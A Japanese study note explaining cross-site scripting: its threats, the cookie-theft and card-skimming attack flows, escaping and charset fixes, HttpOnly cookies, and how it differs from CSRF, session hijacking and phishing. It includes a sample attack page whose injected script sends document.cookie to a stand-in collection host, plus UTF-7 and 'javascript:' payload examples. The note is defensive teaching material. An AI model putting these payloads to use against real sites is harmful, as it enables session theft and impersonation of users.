XSSについて調べてみた

## XSS について調べてみた

ライブラリやフレームワークのおかげで普段あまり意識せずに実装しているが、最近XSSによるセキュリティインシデントがよく起きているような気がするし、基礎知識を持っておきたいというモチベーション。

### XSS の概要

ターゲットのブラウザ上で攻撃者が用意したスクリプトが実行される。
それによって以下のような脅威が発生する。

- ブラウザが保存しているクッキーを取得される
  - 成りすまし
  - クッキーに保存された個人情報の漏洩（ただし、一般的にはクッキーはセッション ID を保持するために使い、データを保存しないことが推奨される）
- 任意のクッキーをブラウザに保存させられる
  - セッション ID が利用者に送り込まれ、セッション ID の固定化攻撃に悪用される
- 画面を書き換えられる

例えば、以下のような手口で行われる。

- 攻撃者が罠サイトを用意する
- 罠サイトの iframe 要素の中に脆弱なサイトが表示される
- クッキー値をクエリ文字列につけると情報収集ページに遷移する（XSS 攻撃！）
- 情報収集ページから攻撃者にクッキー値を送信する
- ターゲット が罠サイト内に表示された脆弱なサイトをクリックすれば XSS 攻撃が成立！
- クッキー値を盗むことで攻撃者はターゲットに成りすませる

例えば、以下のようなコードで XSS 攻撃が行われる。

```html
<html>
  <body>
    激安商品情報
    <br /><br />
    <iframe
      width="320"
      height="100"
      src="http://vulnerable-site.com/example.php?
    keyword=<script>window.location='http://unlawfully-collect-cookie-site.com/example.php?sid='%2Bdocument.cookie;</script>"
    ></iframe>
  </body>
</html>
```

現在では HttpOnly 属性を付与することが増えたため、クッキー値を XSS 攻撃によって盗まれるケースは減ってきた。

しかし、XSS 攻撃による脅威は他にもあり、例えばクレジットカード情報がセキュリティコードも含めて流出することもある。

例えば、以下のような手口で行われる。

- 攻撃者が偽のクレジットカード情報入力画面を用意する
- 攻撃者がクレジットカード情報入力画面に悪意のあるスクリプトを埋め込む
- ターゲットがクレジットカード情報を入力し、入力画面から遷移しようとした時にクレジットカード情報が攻撃者の元へ送信される（XSS 攻撃成立）
- 偽の入力画面から攻撃者が用意した決済エラー画面に遷移する
- 偽の決済エラー画面から正規のクレジットカード情報入力画面に遷移する
- 正規の決済を行う
- 一連のフローによって攻撃されたことに気づかれにくくなる

セキュリティコードは割賦販売法によって企業が保存することは禁止されている。しかし、XSS 攻撃はブラウザ上で行われるため、サーバーに保存した値ではなくターゲットが画面に入力した値が盗まれてしまう。

### XSS の根本的解決と保険的対策

#### 根本的解決

- ウェブページに出力する全ての要素に対して、エスケープ処理を施す

  - ウェブページの表示に影響する特別な記号文字（「<」、「>」、「&」等）を、HTML エンティティ（「&lt;」、「&gt;」、「&amp;」等）に置換する
  - HTML タグを出力する場合は、その属性値を必ずダブルクォートで括り、それを「&quot;」にエスケープする
  - JavaScript の document.write メソッドや innerHTML プロパティ等を使用する場合も同様のエスケープ処理を行う

- HTTP レスポンスヘッダの Content-Type フィールドに文字コード（charset）を指定する

  - 文字コードの指定を省略すると、ブラウザが独自にエンコードするが、その挙動を悪用して不正なスクリプトを埋め込むことができる
  - 例えば、一部のブラウザでは「+ADw-script+AD4-alert(+ACI-test+ACI-)+ADsAPA-/script+AD4-」を UTF-7 でエンコードし、「<script>alert('test');</script>」が実行されてしまう（XSS 攻撃）
  - エスケープ処理を行っていても、ブラウザの文字エンコーディングと Web アプリケーションが想定している文字エンコーディングが異なると突破される可能性がある
  - エスケープ処理と合わせ、Web アプリケーションが想定している文字エンコーディングを指定することは必須

- URL を出力するときは、「http://」や 「https://」で始まる URL のみを許可する

  - URL には「javascript:」の形式で始まるものもあり、ウェブページに出力するリンク先や画像の URL が、外部からの入力に依存する形で動的に生成できると XSS 脆弱性が発生する
  - 利用者から入力されたリンク先の URL を「&lt;a href="リンク先の URL">」の形式でウェブページに出力する場合、その URL を「javascript:」で始めることで不正なスクリプトを埋め込める
  - 例えば、` <a href="javascript:alert(document.cookie)"></a>`のようなスクリプトを入れるとクッキー値が表示される

- <script>...</script> 要素の内容を動的に生成しない

  - 外部からの入力に依存して生成されると XSS 脆弱性をうむ
  - 危険なスクリプトを区別するのは非現実的

- スタイルシートを任意のサイトから取り込めるようにしない
  - 生成するウェブページに XSS 攻撃ができるスクリプトが埋め込まれてしまう可能性がある
  - 危険なスクリプトを区別するのは非現実的

#### 保険的対策

基本的には根本的解決を図るべきだが、XSS の対策箇所が多いため、漏れが生じる可能性がある。

以下のような保険的対策をとることで、万が一漏れが生じていた場合に XSS の被害を軽減できる場合がある。

- 入力値に対してバリデーションをかける

  - 英数字などのみを入力可能なフォームでは有効
  - 幅広い文字種入力できるような仕様ではこの対策は取れない
  - 入力値の確認処理を通過した後の文字列の演算結果がスクリプト文字列を形成してしまうプログラムになっている可能性もあるため、あくまで保険にすぎない

- クッキーに HttpOnly 属性を付与する

  - JavaScript からのクッキー読み出しができなくなる
  - サーバー側のセッションを持続させるクッキーは JavaScript が利用する必要はないので、 HttpOnly 属性をつける
  - しかし、クッキーを盗まれなくなるにすぎないため、これだけでは XSS による他の脅威は残ったままであることに注意が必要

#### HTMLテキストの入力を許可する場合
上述の対策はHTMLテキストの入力を許可しない場合である。一般的な入力フォーム（氏名など）はHTMLテキストの入力を許可する必要がないため先に挙げた。HTMLテキストの入力を許可する場合（例えばブログや掲示板など自由度の高い入力をするケース）では根本的対策として入力されたHTMLテキストの構文解析を行い、スクリプトを含まない必要な要素のみを抽出する必要がある。しかし、実装が複雑であることや処理に負荷がかかることに注意が必要である。自前で実装するよりは信頼度の高いライブラリを使用することが望ましい。


### 他の攻撃との比較

#### CSRF との違い

CSRF はログイン後のサイト利用者をターゲットとして、悪意のあるリクエストを送り、重要な処理（退会・決済・パスワード変更など）を行う攻撃である。
XSS がブラウザ上で実行され、ブラウザ上でできることであれば何でもできるのに対し、CSRF はリクエストに対するサーバー側の処理を悪用するため、サーバー側で用意された処理に限定される。


CSRFの対策としては対策が必要なページを区別することと、正規利用者の意図したリクエストであることを確認することである。

まず、対策が必要の「ない」ページとは、外部からリンクされることが好ましいページである。例えば、ECサイトの商品カタログのページがそれに該当する。一方で、対策の必要が「ある」ページは外部からはアクセスできない必要のあるページである。例えば、ECサイトであれば商品の購入画面などがそれに該当する。

次に、正規利用者の意図したリクエストの確認について、具体的には3つの対策がある。

1つめは、hiddenパラメーターにトークンを埋め込むことである。ログイン時にトークンを生成し、重要な処理の際にリクエストのhiddenパラメータに含まれるトークンと照合することで正規利用者か確認することができる。ただし、リクエストはPOSTメソッドで行う必要がある。なぜなら、GETメソッドでリクエストした場合、外部サイトに送信されるRefererにトークンが含まれてしまうためである。

2つめは、重要な処理の前にパスワードを再入力することである。シンプルかつ有効な対策であるが、画面を追加で差し込む必要があるため、開発スタイルによっては画面変更の仕様変更として追加のコストがかかるケースがある。また、ユーザーに一手間かけさせるというデメリットもある。

3つめは、Refererのチェックを行うことが挙げられる。Refererのチェックにより正しい画面遷移を経ているかを判断し、それが不適切な場合には処理ができないようにする。Refererが空の場合にも処理を行わないようにする必要がある。ただし、ブラウザやパーソナルファイアウォール等の設定によりRefererを送信しないようにしている利用者がそのサイトを利用できなくなってしまうというデメリットもある。また、チェック漏れが発生しやすいという弱点もあり、少なくとも前方一致検索で絶対URLをチェックすること・ドメイン後のスラッシュまでチェックすることが必須となる。したがって、Refererによる対策は社内システムなどの利用者が限定される環境かつ既存アプリケーションの脆弱性対策に使うことが推奨される。

#### セッションハイジャックとの違い

セッションハイジャックはセッション ID を悪用してターゲットに成りすまし、不正な行動や情報の取得を行う攻撃である。
XSS でセッション ID を取得し、セッションハイジャックへ連鎖するというつながりがある。セッション ID は XSS などで盗み出すほか、セッション ID を推測したり、クッキーを書き換えることでセッション ID を強制するなど、セッションハイジャックに至る方法は複数存在する。
セッションハイジャックの対策はセッション管理機構を自前で用意せず信頼度の高いものを使う、クッキーにセッションIDを保存した上で認証後にセッションIDを変更する、認証前にはセッション変数に機密情報を保持しないなどが挙げられる。

#### フィッシングとの違い

XSS 攻撃によって偽画面が表示されたり遷移したりすることもあるが、フィッシングとは異なる。

フィッシングは Web アプリケーション自体に脆弱性がなくても発生し、利用者側で注意すべきもの（運営側は「当サイトをかたり情報を抜き取ろうとしているケースが増加しています」などの注意喚起をすることぐらいしかできない）である。

一方で、XSS は Web アプリケーション自体に脆弱性があるために発生するものであり、利用者が対策することは不可能か極めて困難であるという違いがある。

## 参考

- 安全な Web アプリケーションの作り方 第 2 版 徳丸浩
- [安全なウェブサイトの作り方 - 1.5 クロスサイト・スクリプティング](https://www.ipa.go.jp/security/vuln/websecurity/cross-site-scripting.html)
- [HTTP Cookie の使用](https://developer.mozilla.org/ja/docs/Web/HTTP/Cookies)
- [クレジットカード情報漏洩の手口の動向～なぜ保存禁止のセキュリティコードまで漏洩するのか～](https://youtu.be/fXVasf_Kyhs?si=Ukb-05cmszmKX9BT)